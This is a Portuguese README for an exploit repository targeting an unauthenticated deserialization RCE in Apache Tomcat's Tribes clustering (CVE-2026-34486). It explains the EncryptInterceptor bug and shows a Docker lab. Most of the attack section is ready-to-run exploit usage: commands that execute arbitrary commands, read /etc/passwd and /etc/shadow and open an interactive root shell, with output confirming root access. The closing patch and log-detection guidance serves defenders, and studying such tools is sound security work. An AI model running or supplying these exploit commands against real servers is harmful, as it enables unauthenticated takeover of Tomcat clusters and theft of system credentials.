
Exploit para bypass do Apache Tomcat EncryptInterceptor que leva a RCE não autenticada via desserialização Java na porta 4000. Inclui configuração de laboratório, shell interativo e orientações de detecção.
O módulo de comunicação de cluster Apache Tomcat Tribes falha ao descartar mensagens quando a descriptografia do
EncryptInterceptorfalha, permitindo que atacantes não autenticados acionem Execução Remota de Código via desserialização Java na porta 4000.
| Campo | Informação |
|---|---|
| ID CVE | CVE-2026-34486 |
| Pontuação CVSS | 7.5 (Alta) |
| Componente | Apache Tomcat Tribes EncryptInterceptor |
| Versões Afetadas | 9.0.0.M1 – 9.0.116 / 10.1.0-M1 – 10.1.53 / 11.0.0-M1 – 11.0.20 |
| Versões Corrigidas | 9.0.117 / 10.1.54 / 11.0.21 |
| Tipo de Vulnerabilidade | Execução Remota de Código Não Autenticada via Desserialização |
| Vetor de Ataque | Rede / Sem Autenticação / Baixa Complexidade |
| Porta de Ataque | TCP 4000 (Tribes NioReceiver) |
O recurso de clustering do Apache Tomcat usa o framework Tribes para sincronizar dados de sessão entre nós do cluster, escutando na porta TCP 4000 por padrão.
Quando o EncryptInterceptor (AES/CBC) está habilitado, existe a seguinte falha lógica:
// EncryptInterceptor.java — versão vulnerável
public void messageReceived(ChannelMessage msg) {
try {
byte[] decrypted = decrypt(msg.getMessage().getBytes());
// processa a mensagem descriptografada...
} catch (Exception e) {
log.error("Failed to decrypt message", e); // apenas registra o erro
}
super.messageReceived(msg); // ← BUG: bytes brutos encaminhados mesmo após falha na descriptografia
}
O bloco catch apenas registra o erro. Como super.messageReceived(msg) está fora do try-catch, os bytes brutos não criptografados são encaminhados para XByteBuffer.deserialize() → ObjectInputStream.readObject().
Um atacante pode enviar um payload de desserialização malicioso para acionar RCE sem qualquer autenticação.
Atacante ──TCP:4000──► NioReceiver (sem autenticação)
│
EncryptInterceptor.messageReceived()
try { descriptografia AES/CBC → IllegalBlockSizeException }
catch{ log.severe("Failed to decrypt") } ← apenas rastro de log
super.messageReceived(msg) ← BUG: bytes brutos passam
│
GroupChannel → XByteBuffer.deserialize()
│
ObjectInputStream.readObject() ← desserialização acionada
│
Cadeia de Gadgets CommonsCollections6
│
Runtime.exec() → RCE como root 🔴
A correção move super.messageReceived(msg) para dentro do bloco try, de modo que qualquer falha na descriptografia faz com que a mensagem seja silenciosamente descartada (fail-closed).
// EncryptInterceptor.java — versão corrigida
public void messageReceived(ChannelMessage msg) {
try {
byte[] decrypted = decrypt(msg.getMessage().getBytes());
// processa...
super.messageReceived(msg); // ← CORRIGIDO: só é alcançado se a descriptografia for bem-sucedida
} catch (Exception e) {
log.error("Failed to decrypt message", e); // a mensagem é descartada
}
}
java e javac no PATH)ysoserial-all.jarapache-tomcat-9.0.116 (para a biblioteca Tribes)docker run -d \
--name tomcat-cve-2026-34486 \
-p 8080:8080 \
-p 4000:4000 \
nowday3/cve-2026-34486:latest
# Verifique
curl http://localhost:8080
# exp
git clone https://github.com/404-src/CVE-2026-34486
cd CVE-2026-34486/
# ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
# Tomcat 9.0.116 (para a biblioteca Tribes)
wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.116/bin/apache-tomcat-9.0.116.tar.gz
tar xzf apache-tomcat-9.0.116.tar.gz
cp apache-tomcat-9.0.116/bin/tomcat-juli.jar apache-tomcat-9.0.116/lib/
python3 exp.py -t 127.0.0.1 -p 4000 -c "touch /tmp/pwned"
# Verifique
docker exec tomcat-cve-2026-34486 ls -la /tmp/pwned
python3 exp.py -t 127.0.0.1 -p 4000 --rce "id"
# Saída: uid=0(root) gid=0(root) groups=0(root)
python3 exp.py -t 127.0.0.1 -p 4000 --rce "cat /etc/passwd"
python3 exp.py -t 127.0.0.1 -p 4000 --rce "cat /etc/shadow"
python3 exp.py -t 127.0.0.1 -p 4000 --shell
# [email protected]$ id
# [email protected]$ hostname
# [email protected]$ exit
python3 exp.py -t 127.0.0.1 -p 4000 --rce "id" \
--ysoserial ./ysoserial-all.jar \
--tomcat-lib ./apache-tomcat-9.0.116/lib
-t, --target IP do alvo (padrão: 127.0.0.1)
-p, --port Porta Tribes (padrão: 4000)
--http-port Porta HTTP para recuperação da saída (padrão: 8080)
-c, --command Executa comando diretamente (sem recursos de shell)
--rce Executa comando e recupera a saída via HTTP
--shell Modo shell interativo
-g, --gadget Cadeia de gadgets (padrão: CommonsCollections6)
--ysoserial Caminho para o jar do ysoserial
--tomcat-lib Caminho para o diretório lib do Tomcat
$ python3 exp.py -t 127.0.0.1 -p 4000 --rce "id"
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═══██╗╚════██╗██╔════╝
██║ ██║ ██║█████╗█████╗ █████╔╝██║ ██║ █████╔╝███████╗
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ██║▄▄ ██║██╔═══╝ ██╔══██║
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗╚██████╔╝
34486
Apache Tomcat EncryptInterceptor Bypass → Deserialization → RCE
Alvo : 127.0.0.1:4000
Gadget : CommonsCollections6
[*] Compilando TribesClient.java ...
[+] Compilado com sucesso
[*] Gerando payload CommonsCollections6 ...
[+] Payload: 1361 bytes
[*] Enviando frame Tribes → 127.0.0.1:4000
[tribes] frame=1496B cdBytes=1478B
[+] Frame enviado!
[*] Buscando resultado: http://127.0.0.1:8080/.out.txt
uid=0(root) gid=0(root) groups=0(root)
O único rastro de log deixado pelo ataque:
SEVERE [Tribes-Task-Receiver[Catalina-Channel]-1]
org.apache.catalina.tribes.group.interceptors.EncryptInterceptor.messageReceived
Failed to decrypt message
javax.crypto.IllegalBlockSizeException: Input length must be multiple of 16
when decrypting with padded cipher
Nenhuma exceção readObject é registrada — o comando é executado silenciosamente.
| Ação | Prioridade |
|---|---|
| Atualizar para Tomcat 9.0.117 / 10.1.54 / 11.0.21 | Crítica |
| Restringir a porta 4000 apenas a IPs de cluster confiáveis | Alta |
Monitorar logs para repetidas mensagens Failed to decrypt message | Média |
| Desabilitar o clustering Tribes se não for necessário | Alta |
Este projeto destina-se exclusivamente a pesquisa de segurança autorizada, testes de penetração e fins educacionais. Não use esta ferramenta contra sistemas que você não possui ou para os quais não tem permissão explícita de teste. O autor não assume nenhuma responsabilidade por uso indevido ou danos causados por esta ferramenta.
Licença MIT © 2026 404-src